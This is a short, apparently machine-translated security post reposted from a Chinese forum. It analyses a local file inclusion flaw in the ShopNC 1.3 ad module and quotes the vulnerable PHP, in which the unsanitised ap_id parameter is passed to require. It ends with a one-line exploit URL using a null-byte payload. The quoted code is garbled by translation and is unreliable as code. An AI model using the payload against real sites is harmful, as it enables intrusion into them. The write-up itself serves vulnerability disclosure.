ShopNC 1.3 Local chicken ribs contained

There's an xss http://www.bkjia.com/Article/201107/98039.html in front of this stuff.
--------------------------------------------------------------------------------
 
Everything is cloudification before GPC .. So the chicken ribs ..
./Control/adv. php
 
Class advControl {
 
/**
 
*
 
* Ad display
 
*/
 
Public function advshowOp (){
 
If (trim ($ _ GET ['ap _ id']) = '') exit;
 
$ Time = time ();
 
// Load the ad space cache file
 
$ Ap_cache_file = BasePath. DS. 'cache '. DS. 'adv '. DS. 'ap _'. $ _ GET ['ap _ id']. '. cache. php '; // directly included ..
 
If (file_exists ($ ap_cache_file )){
 
Require ($ ap_cache_file );
 
} Else {
 
Exit;
 
}./Global. php
Omitted
 
If ($ _ GET ['act '] = 'adv' & ProjectName = ''){
 
Define ('Attach _ ADV ', 'upload/adv ');
 
Require_once (BasePath. DS. 'config. ini. php ');
 
Define ('siteurl', $ site_url );
 
$ Advshow_classfile = BasePath. DS. 'control/adv. php ';
 
Echo " 
If (file_exists ($ advshow_classfile )){
 
Echo " 
Include_once ($ advshow_classfile );
 
$ Advshow = new advControl ();
 
$ Advshow-> advshowOp (); // this ..
 

 
} Else {
 
Echo "Adv System Inner Error! ";
 
}
 
Exp
Http://www.bkjia.com/2008/upload/index. php? Act = adv & ap_id =. sss. sb % 00
 
Www.2cto.com:

Refer to the above Code Analysis and previous articles on this site
From: http://t00ls.net/thread-20191-1-1.html